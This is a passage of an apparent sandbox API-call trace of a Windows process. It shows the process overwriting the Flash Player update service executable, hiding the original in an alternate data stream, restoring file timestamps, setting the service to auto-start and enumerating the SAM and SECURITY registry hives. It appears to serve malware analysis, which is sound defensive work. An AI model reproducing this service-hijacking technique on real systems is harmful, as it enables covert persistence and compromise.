lpcbData=0x0) returned 0x0 [0191.110] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.110] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.110] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.110] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0191.110] RegQueryValueExA (in: hKey=0x140, lpValueName="ImagePath", lpReserved=0x0, lpType=0x36f450, lpData=0x0, lpcbData=0x36f458*=0x0 | out: lpType=0x36f450*=0x2, lpData=0x0, lpcbData=0x36f458*=0x40) returned 0x0 [0191.110] RegQueryValueExA (in: hKey=0x140, lpValueName="ImagePath", lpReserved=0x0, lpType=0x36f450, lpData=0x21f1970, lpcbData=0x36f458*=0x40 | out: lpType=0x36f450*=0x2, lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", lpcbData=0x36f458*=0x40) returned 0x0 [0191.110] ExpandEnvironmentStringsA (in: lpSrc="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x41 [0191.110] ExpandEnvironmentStringsA (in: lpSrc="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", lpDst=0x21f2e28, nSize=0x41 | out: lpDst="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe") returned 0x40 [0191.110] RegSetValueExA (in: hKey=0x140, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", cbData=0x40 | out: lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe") returned 0x0 [0191.110] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0191.110] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0191.110] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f1da8, cbMultiByte=63, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0191.111] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0191.111] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f1da8, cbMultiByte=63, lpWideCharStr=0x21f2e28, cchWideChar=63 | out: lpWideCharStr="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe") returned 63 [0191.111] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0191.111] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0191.111] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x803ea0*="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" [0191.111] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0191.111] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0191.111] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0191.111] LocalFree (hMem=0x803ea0) returned 0x0 [0191.111] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0191.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", cchWideChar=63, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 63 [0191.111] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0191.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", cchWideChar=63, lpMultiByteStr=0x21f1bb0, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", lpUsedDefaultChar=0x0) returned 63 [0191.111] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0191.111] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0191.111] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0191.111] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0191.111] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0191.111] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0191.111] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0191.111] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0191.111] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0191.111] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0191.111] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0191.111] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0191.111] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0191.111] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0191.111] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0191.111] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0191.111] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0191.111] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0191.112] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0191.112] RegSetValueExA (in: hKey=0x140, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", cbData=0x40 | out: lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe") returned 0x0 [0191.112] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0191.112] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0191.112] OpenServiceW (hSCManager=0x803918, lpServiceName="AdobeFlashPlayerUpdateSvc", dwDesiredAccess=0x2) returned 0x803990 [0191.113] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0192.289] CloseServiceHandle (hSCObject=0x803990) returned 1 [0192.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0192.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0192.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0192.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0192.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0192.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0192.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0192.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0192.293] RegCloseKey (hKey=0x140) returned 0x0 [0192.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0192.294] RegCloseKey (hKey=0x14c) returned 0x0 [0192.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0192.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0192.295] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" (normalized: "c:\\windows\\syswow64\\macromed\\flash\\flashplayerupdateservice.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc905990, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xc905990, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xc905990, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x3dca0)) returned 1 [0192.301] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" (normalized: "c:\\windows\\syswow64\\macromed\\flash\\flashplayerupdateservice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0192.302] SetFileTime (hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0192.302] GetFileSize (in: hFile=0x14c, lpFileSizeHigh=0x36f4fc | out: lpFileSizeHigh=0x36f4fc*=0x0) returned 0x3dca0 [0192.302] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f508*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x36f508*=0) returned 0x0 [0192.302] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x3dcc0) returned 0x2159e98 [0192.306] ReadFile (in: hFile=0x14c, lpBuffer=0x2159e98, nNumberOfBytesToRead=0x3dca0, lpNumberOfBytesRead=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x2159e98*, lpNumberOfBytesRead=0x36f53c*=0x3dca0, lpOverlapped=0x0) returned 1 [0192.309] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x3dcc0) returned 0x29f0048 [0192.313] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159e98) returned 1 [0192.313] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f52c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x36f52c*=0) returned 0x0 [0192.313] WriteFile (in: hFile=0x14c, lpBuffer=0x219dea0*, nNumberOfBytesToWrite=0x44000, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x219dea0*, lpNumberOfBytesWritten=0x36f53c*=0x44000, lpOverlapped=0x0) returned 1 [0192.316] SetEndOfFile (hFile=0x14c) returned 1 [0192.316] GetFileTime (in: hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550*(dwLowDateTime=0xc905990, dwHighDateTime=0x1d35d06)) returned 1 [0192.316] FileTimeToSystemTime (in: lpFileTime=0x36f550, lpSystemTime=0x36f57c | out: lpSystemTime=0x36f57c) returned 1 [0192.316] SystemTimeToFileTime (in: lpSystemTime=0x36f57c, lpFileTime=0x36f550 | out: lpFileTime=0x36f550) returned 1 [0192.316] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0192.316] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4e38 [0192.316] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0192.316] NtClose (Handle=0x14c) returned 0x0 [0192.317] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe:0" (normalized: "c:\\windows\\syswow64\\macromed\\flash\\flashplayerupdateservice.exe:0"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x252de10, ftCreationTime.dwLowDateTime=0x1, ftCreationTime.dwHighDateTime=0x252e948, ftLastAccessTime.dwLowDateTime=0x36f4f0, ftLastAccessTime.dwHighDateTime=0x90a79c, ftLastWriteTime.dwLowDateTime=0x461bad0a, ftLastWriteTime.dwHighDateTime=0x80, nFileSizeHigh=0x2, nFileSizeLow=0x36f5a4)) returned 0 [0192.317] GetLastError () returned 0x2 [0192.317] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe:0" (normalized: "c:\\windows\\syswow64\\macromed\\flash\\flashplayerupdateservice.exe:0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0192.317] SetFileTime (hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0192.318] WriteFile (in: hFile=0x14c, lpBuffer=0x29f0048*, nNumberOfBytesToWrite=0x3dca0, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x29f0048*, lpNumberOfBytesWritten=0x36f53c*=0x3dca0, lpOverlapped=0x0) returned 1 [0192.322] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0192.322] SetFileTime (hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550) returned 1 [0192.322] NtClose (Handle=0x14c) returned 0x0 [0192.323] OpenServiceW (hSCManager=0x803918, lpServiceName="AdobeFlashPlayerUpdateSvc", dwDesiredAccess=0x10) returned 0x8038a0 [0192.323] StartServiceW (hService=0x8038a0, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 1 [0193.801] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0193.803] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0x1388) returned 0xffffffff [0193.803] GetLastError () returned 0x6 [0193.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0193.804] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x803ea0) returned 1 [0193.805] CryptGenRandom (in: hProv=0x803ea0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0193.805] CryptReleaseContext (hProv=0x803ea0, dwFlags=0x0) returned 1 [0193.805] OpenServiceW (hSCManager=0x803918, lpServiceName="Microsoft SharePoint Workspace Audit Service", dwDesiredAccess=0x20) returned 0x803990 [0193.805] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0193.806] GetLastError () returned 0x426 [0193.806] CloseServiceHandle (hSCObject=0x803990) returned 1 [0193.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0193.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0193.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0193.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0193.807] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0193.807] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0193.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0193.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f18e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0193.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.808] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0193.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0193.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.808] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0193.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0193.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.808] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0193.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0193.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.809] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0193.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0193.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.809] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0193.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1c88, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0193.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.809] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x140) returned 0x0 [0193.809] RegCloseKey (hKey=0x80000002) returned 0x0 [0193.809] RegEnumKeyW (in: hKey=0x140, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0193.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0193.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.810] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0193.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1c88, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0193.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.810] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2, 